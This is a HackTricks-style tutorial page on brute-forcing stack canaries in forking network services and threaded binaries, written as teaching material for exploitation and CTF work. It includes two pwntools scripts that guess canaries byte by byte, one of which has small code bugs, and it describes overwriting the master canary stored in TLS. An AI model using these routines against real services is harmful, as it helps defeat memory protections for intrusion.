hacktricks/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

# BF Forked & Threaded Stack Canaries

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**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**

![](<../../../.gitbook/assets/image (865).png>)

{% hint style="info" %}
Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
{% endhint %}

## Brute force Canary

The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**.

Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**):

### Example 1

This example is implemented for 64bits but could be easily implemented for 32 bits.

```python
from pwn import *

def connect():
    r = remote("localhost", 8788)

def get_bf(base):
    canary = ""
    guess = 0x0
    base += canary

    while len(canary) < 8:
        while guess != 0xff:
            r = connect()

            r.recvuntil("Username: ")
            r.send(base + chr(guess))

            if "SOME OUTPUT" in r.clean():
                print "Guessed correct byte:", format(guess, '02x')
                canary += chr(guess)
                base += chr(guess)
                guess = 0x0
                r.close()
                break
            else:
                guess += 1
                r.close()

    print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
    return base
    
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```

### Example 2

This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.

```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
	known_canary = b""
	test_canary = 0x0
	len_bytes_to_read = 0x21
	
	for j in range(0, 4):
		# Iterate up to 0xff times to brute force all posible values for byte
		for test_canary in range(0xff):
			print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
			
			# Send the current input size
			target.send(len_bytes_to_read.to_bytes(1, "little"))

			# Send this iterations canary
			target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

			# Scan in the output, determine if we have a correct value
			output = target.recvuntil(b"exit.")
			if b"YUM" in output:
				# If we have a correct value, record the canary value, reset the canary value, and move on
				print(" - next byte is: " + hex(test_canary))
				known_canary = known_canary + test_canary.to_bytes(1, "little")
				len_bytes_to_read += 1
				break

	# Return the canary
	return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```

## Threads

Threads of the same process will also **share the same canary token**, therefore it'll be possible to **brute-forc**e a canary if the binary spawns a new thread every time an attack happens.&#x20;

Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Check also the presentation of [https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue\_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.

## Other examples & references

* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
  * 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.